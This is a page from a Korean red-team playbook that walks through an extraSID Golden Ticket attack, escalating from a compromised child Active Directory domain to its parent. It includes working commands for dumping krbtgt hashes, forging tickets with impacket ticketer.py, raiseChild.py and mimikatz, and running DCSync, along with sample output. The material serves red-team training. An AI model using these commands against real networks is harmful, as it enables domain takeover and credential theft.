📖
레드팀 플레이북
깃허브기여하는 방법WhoAreWe블로그
  • 레드팀 플레이북
  • 레드팀이란
  • 레드팀 글로벌 동향 (2024)
  • 베이직 레드팀(Basic Redteam)
    • 개요
    • 1. 공격자 인프라 구성
    • 2. 초기 침투
    • 3. 정보 수집
    • 4. 권한 상승 - US
    • 5. 횡적 이동: USWKSTN01 -> SQL01
    • 6. 권한 상승 - SQL01
    • 7. 도메인 장악 WEB01
    • 8. US -> RT 장악
    • 9. RT -> DEV 정보 수집
    • 10. 권한 상승 및 목표 달성
  • 🚧인프라 (Infrastructure)
    • 개념
    • 예시 인프라
    • 팀 서버 - Sliver
      • 스테이저 (Stager) 사용
    • 도메인 분류와 신뢰도
    • HTTP 리다이렉터
    • HTTPS 리다이렉터
    • SMTP Gophish + Mail
    • SMTP Gophish + ESP
    • SMTP Gophish + Relay + ESP
    • 인프라 구축 자동화
      • 테라폼 (Terraform)
      • SMTP 테라폼 자동화
      • HTTPS 리다이렉터 자동화 (AWS)
    • old-네뷸라를 이용한 인프라 구축
      • 도메인과 리다이렉터 설정
      • 중립 공간 (클라우드) 설정
      • 네뷸라 (Nebula)
      • 네뷸라 설정
    • 도메인 프론팅 (Domain Fronting)
    • 도메인 프론팅 - Azure Edgio CDN
    • Cloudflared Tunnel과 Worker
    • Cloudflared Tunnel과 Pages
  • 🔎초기 정찰
    • 개념
    • 타겟 발견
    • OSINT
      • 작전보안
      • 자산 정보 수집
      • 구글 도킹
  • ⚔️초기 침투 (Initial Access)
    • 개념
    • 피싱 첨부파일
      • 오피스 VBA 매크로
      • XLM Excel 4.0 매크로
      • 원격 템플렛 인젝션
      • VBA Stomping
      • HTA
      • LNK
      • ISO
      • VBA Purging - TODO
      • DotNetToJS - TODO
      • Follina - TODO
    • HTML 스머글링 (Smuggling)
    • 피싱 - AitM (Adversary in the Middle)
    • Living Off Trusted Sites (LOTS)
  • 🐳정보 수집 - 내부망
    • 개념
    • 로컬 호스트 정보 수집
    • 블러드하운드
    • SMB 쉐어 수집
    • 정보 수집 - 파워쉘
    • 정보 수집 - C# - TODO
    • 커버로스 유저 이름 정보수집
    • CME - 호스트이름과 IP주소
    • LDAP Anonymous Bind
  • 🐴실행 (Execution)
    • 개념
    • 파워쉘
      • 인메모리 실행
      • C# 실행
      • 윈도우 API 실행
    • LOLBAS
    • Native API - TODO
  • 🙃지속성 (Persistence)
    • 개념
    • 골든 티켓 (Golden Ticket)
    • DLL 사이드로딩 (DLL Side-Loading)
    • DLL Search Order Hijacking - TODO
    • 레지스트리 / 스타트업 폴더
  • ⬆️권한 상승
    • 개념
    • AD 권한 상승
      • Active Directory Certificate Services (ADCS)
        • ESC1
        • ESC8
      • Shadow Credentials
      • noPac
      • Kerberoasting
      • AS-REP Roasting
      • DHCPv6 포이즈닝
      • Resource-Based Constrained Delegation (RBCD)
      • SCCM
    • AD-DACL
      • AddAllowedToAct
      • AddKeyCredentialLink
      • GenericAll
      • GenericWrite
      • WriteDACL
      • AllExtendedRights
      • WriteAccountRestrictions
      • WriteOwner
      • AddMember
    • 로컬 권한 상승 - TODO
      • 잘못된 서비스 설정
      • Unquoted Service Path
      • Always Install Elevated
      • PrintNightmare
  • 🐍보안 우회 (Defense Evasion)
    • 쉘코드 암호화
    • 런타임 다이나믹 링킹 (Run-time Dynamic Linking)
    • AMSI 우회
    • 유저랜드 후킹 - 역사
    • 유저랜드 커널랜드 윈도우API 개념
    • 유저랜드 후킹
    • DInvoke - 시스템 콜
    • 페이로드 크기
    • 가변적 C2 프로필
    • 프로세스 인젝션
      • CreateRemoteThread
      • NtMapViewOfSection
    • 간단 디펜더 우회 - 쉘코드
    • 간단 디펜더 우회 - C#
    • MSIExec
    • 다형성 코드
  • 👿후속 공격 (Post Exploitation)
    • 후속 공격의 진화
    • External SID Golden Ticket
  • 🎭계정 정보 탈취 (Credential Access)
    • 커버로스
      • 커버로스팅 (Kerberoasting)
      • AS-Rep Roasting
    • 비밀번호 스프레이 공격
    • LLMNR/NBT-NS 포이즈닝
    • NTLM 릴레이 (NTLM Relay)
      • SMB to SMB
      • SMB to LDAP/S
      • HTTP to LDAP
      • SMB to HTTP
      • SMB to SCCM
    • 강제 인증 (Authentication Coercion)
      • MS-RPRN - Printerbug / Print Spooler
      • MS-EFSRPC - Petitpotam
      • MS-FSRVP - ShadowCoerce
      • MS-DFSNM - DFSCoerce
    • NTLM 다운그레이드
    • DHCPv6 포이즈닝
    • LAPS - TODO
    • DCSync
    • DPAPI
  • ↔️횡적 이동 (Lateral Movement)
    • 개념
    • Pass-the-Hash
    • SMB 와 PsExec
    • WMI
    • WinRM / Powershell Remoting
    • RDP
    • SSH Port Forwarding & Tunneling
    • Dynamic Port Forwarding & ProxyChains
    • 네트워크 피버팅 - 툴
    • Network Pivoting (피벗) - TODO
  • 개념
    • 윈도우 사용자 인증
      • NTLM 인증
      • 커버로스 (Kerberos) 인증 - TODO
      • ADCS 인증서 기반 인증
    • AD 관련 용어 해설
  • 실 공격 TTP와 대응방안 - TODO
    • 개념
  • 🧑‍🔬홈 랩 (Home lab)
    • 시스몬 (sysmon) 설치
    • SIEM과 EDR 솔루션 설치
    • 취약한 랩을 위한 설정 커맨드
    • 말웨어 자동 분석툴 Cuckoo 샌드박스 설치
  • 기본 개념
    • DNS
      • 사이버 보안에 필요한 DNS 개념 편 #1
      • 해킹에 필요한 DNS 공격 & 우회 기법 편 #2
      • 방어에 필요한 DNS 탐지 편 #3
  • 웹 & 모바일
    • 01-계정관리
      • 통신 과정 흐름 훑어보기
      • 첫번쩨, payload설정 방법
      • 두번째, 세션을 유지하는 방법
      • CSRF Token에 관하여
      • 세번째, OWASP Juice Shop 로그인 페이지에서의 통신 흐름과 구조 알아보기
  • 🎅MISC
    • Host-based 공격 CheatSheet (FEAT. OSCP)
      • Enumeration (정보 수집 및 열거)
      • Exploitation (공격)
      • Post Exploitation (후속공격)
    • Changelog
    • 기여하는 방법
    • 레퍼런스와 크레딧
    • C# snippets
    • winapi 리스트
      • original notes from obsidian
    • 파워쉘 원라이너 (oneliner)
  • 📖Personal-Research
    • README-and-Template
      • HellsGate
      • HalosGate
      • FreshyCall
Powered by GitBook
On this page
  • SID와 External SID
  • Forest is the only Security Boundary
  • External SID 와 Parent/Child 도메인
  • 실습
  • 사전 조건
  • 공격
  • 공격 - KB5008380 패치가 됐을 때
  • 공격 - 패치가 안됐을 때
  • 공격 - 윈도우
  • 대응 방안
  • 레퍼런스
  1. 후속 공격 (Post Exploitation)

External SID Golden Ticket

Previous후속 공격의 진화Next커버로스

Last updated 2 years ago

SID와 External SID

  • SID (Security Identifier): 윈도우 운영체제(와 액티브 디렉토리)에서 특정한 security principal 및 그룹을 구별해내기 위한 문자열이다. 액티브 디렉토리에서는 거의 모든 액티브 디렉토리 리소스(유저, 그룹, 머신 계정, 등)들에게 부여된다.

  • External SID: 도메인 A의 유저가 Two-way Trust Relationship을 갖고 있는 다른 도메인 B의 리소스에 커버로스 인증을 이용해 접근 할 때, TGT에 도메인 B의 SID 뿐만 아니라 유저의 원래 소속 도메인이였던 도메인 A의 SID를 같이 추가해서 넣는다. 이를 External SID라고 부른다. 본인의 원래 도메인(A)가 아닌 다른 도메인(B)의 리소스에 접근 할 때, 유저 본인의 원래 소속 (도메인 A)을 보여주기 위한 용도로 사용된다.

굳이 비유를 하자면 우리나라 사람이 미국을 방문할 때, 미국 비자를 갖고 가지만, 그와 동시에 자신의 원래 소속을 증명하기 위해 한국 신분증 및 여권을 챙겨가는 것과 비슷하다. 미국의 입장에서 한국의 신분증은 외부 신분증, 즉, External SID가 된다.

Forest is the only Security Boundary

마이크로소프트사에 따르면 액티브 디렉토리내의 보안 경계(Security Boundary)의 개념을 가지고 있는 최소 단위는 포레스트(Forest)다. 즉, 공격자가 포레스트 A에서 포레스트 B로 넘어가는/접근하는 것은 취약점이자 잘못된 설정 (misconfiguration)으로 간주해 보안 패치를 해주겠다는 것이다.

하지만 이 말은 곧 1개의 포레스트 안에 수십개의 도메인이 있고, 공격자가 그 도메인들을 마음껏 횡적이동을 하고 접근할 수 있다고 하더라도, 이를 보안적인 문제로 보지 않는다는 말이기도 하다. 한 포레스트 안의 도메인들은 보안 경계로 간주하지 않기 때문이다.

External SID 와 Parent/Child 도메인

위 개념들은 모두 합하면...

공격자들은 한 포레스트내의 부모/자식 도메인 중 하나를 장악할 경우, 다른 부모/자식 도메인에 접근 가능한 External SID (extraSID) Golden Ticket을 만들어내 타겟 도메인을 장악할 수 있다.

예를 들어 1개의 포레스트 안에 4개의 부모/자식 도메인이 있다고 가정해보자. 모든 회사들이 그렇진 않지만, AD 디자인을 잘못 한 회사의 경우 아래와 같이 해외 지사들의 AD 환경을 모두 1개의 포레스트에 넣는 경우가 종종 있다.

  • choi.local

  • kr.choi.local

  • jp.choi.local

  • dev.kr.choi.local

이때 만약 공격자가 일본 지사의 액티브 디렉토리 jp.choi.local을 장악한다면, choi.local, kr.choi.local, dev.kr.choi.local 을 모두 장악할 수 있게 된다. 꽤 무서운 개념이지만, 마이크로소프트사가 1개의 포레스트 안의 도메인들은 원래, 디자인적으로 보안 경계로 인정하지 않기 때문에 이는 취약점도, 잘못된 설정도 아니다.

실습

공격자의 입장에서 다음과 같은 상황이라고 가정해보자.

  • pci.choi.local: 자식 도메인. 현재 공격자가 장악한 상태.

  • choi.local : 부모 도메인. 공격자가 공격/장악하고 싶은 도메인.

  • 두개의 도메인 모두 1개의 포레스트 안에 존재.

공격자는 이미 pci.choi.local 도메인을 장악한 상태에서 더 많은 호스트들과 유저들이 있는 부모 도메인인 choi.local 을 장악하고 싶다. 이때 External SID (extraSID) Golden Ticket을 이용하면 된다.

사전 조건

  1. 장악한 도메인(pci.choi.local) KRBTGT 계정의 NT 해시

impacket-secretsdump pci.choi.local/Administrator:'pass'@<도메인컨트롤러> -just-dc-user <krbtgt>

impacket-secretsdump pci.choi.local/Administrator:'Password123!'@dc1.pci.choi.local -just-dc-user pci/krbtgt           

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b8f1a4fbe49f5418a7a8bcb72586f072:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:93cbbe496fbb65efd56a4b569fa1ceda62b4229776235a0a6c28df847d68204f
krbtgt:aes128-cts-hmac-sha1-96:b7a532495db42547d4b0eb8e881021cb
  1. 장악한 도메인(pci.choi.local)과 공격할 도메인(choi.local)의 도메인 SID 수집

# 장악한 도메인 SID 수집 
impacket-lookupsid pci.choi.local/Administrator:'Password123!'@dc1.pci.choi.local 0

[*] Domain SID is: S-1-5-21-2126976142-166271992-3103661063

# 공격할 도메인 SID 수집 
impacket-lookupsid pci.choi.local/Administrator:'Password123!'@dc01.choi.local 0

[*] Domain SID is: S-1-5-21-915960992-2308152741-2736258720

공격

공격 - KB5008380 패치가 됐을 때

이 시나리오에서는 장악한 도메인 컨트롤러가 패치가 됐다고 가정한다.

패치가 됐다면 다음과 같은 플래그들을 꼭 넣어줘야한다.

  • -extra-pac

  • -user-id <RID>: 발급 받을 유저의 RID - 유저 이름과 일치 해야한다. (대부분 500 - Administrator 사용)

  • <username>: 발급 받을 유저 이름 - RID와 일치 해야한다. (대부분 Administrator 사용)

ticketer.py -nthash <장악도메인 KRBTGT NT 해시> -domain <장악한도메인> -domain-sid <장악한도메인-SID> -extra-sid <공격할도메인-SID-519> -duration 1 -extra-pac -user-id 500 Administrator

ticketer.py -nthash b8f1a4fbe49f5418a7a8bcb72586f072 -domain pci.choi.local -domain-sid S-1-5-21-2126976142-166271992-3103661063 -extra-sid S-1-5-21-915960992-2308152741-2736258720-519 -duration 1 -extra-pac -user-id 500 Administrator

External SID 골든 티켓을 받았다면 이를 사용한다.

export KRB5CCNAME=Administrator.ccache

secretsdump.py 장악도메인/Administrator@DC.공격도메인 -k -no-pass 

공격 - 패치가 안됐을 때

패치가 안됐다면 impacket suite의 raiseChild.py 스크립트를 이용해서 자동으로 공격을 진행한다.

raiseChild.py 장악도메인/유저:비밀번호

raiseChild.py pci.choi.local/Administrator:'Password123!'

공격 - 윈도우

mimikatz 바이너리를 이용했지만, 다른 종류의 mimikatz 혹은 인-메모리 실행도 가능하다. 간단한 실습을 위해서 바이너리를 이용한다.

# 장악한 도메인의 아무 호스트에서... 
mimikatz # kerberos::golden /user:Administrator /domain:pci.choi.local /sid:S-1-5-21-2126976142-166271992-3103661063 /krbtgt:b8f1a4fbe49f5418a7a8bcb72586f072 /sids:S-1-5-21-915960992-2308152741-2736258720-519 /ptt

Golden ticket for 'Administrator @ pci.choi.local' successfully submitted for current session

mimikatz # lsadump::dcsync /domain:choi.local /user:choi\krbtgt

[ . . . ] 

SAM Username         : krbtgt
Credentials:
  Hash NTLM: a8f31b642e60b362cc17588df4c5b1e2

대응 방안

원칙적으로는 없다. 1개의 포레스트 안의 도메인들은 보안 경계로 간주하지 않기 때문이다. SID Filtering 등을 이용하는 방법도 있겠지만, 이와 관련해서는 추가 연구가 더 필요하다.

레퍼런스

  • https://fortynorthsecurity.com/blog/golden-tickets-and-external-sids-spread-the-compromise/

  • https://posts.specterops.io/not-a-security-boundary-breaking-forest-trusts-cd125829518d

공격에 큰 영향을 주는 변수는 바로 현재 장악한 도메인의 도메인 컨트롤러가 2021년 11월의 패치 적용 여부다. 공격자가 장악한 도메인의 도메인 컨트롤러에게 골든 티켓을 요청하는 공격이기 때문에 패치 여부가 중요하다.

👿
"Each forest is ... a security boundary for all objects that are located in the forest"
KB5008380